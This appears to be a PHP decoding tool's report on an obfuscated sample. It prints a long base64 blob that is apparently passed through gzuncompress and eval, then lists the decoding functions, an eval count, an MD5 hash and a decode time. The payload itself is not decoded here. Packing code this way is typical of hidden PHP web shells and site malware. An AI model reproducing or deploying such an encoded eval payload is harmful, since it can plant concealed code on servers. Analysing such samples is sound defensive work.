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")));

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 3a374401e86c80d60f862cf23cfa68a9
Eval Count 1
Decode Time 645 ms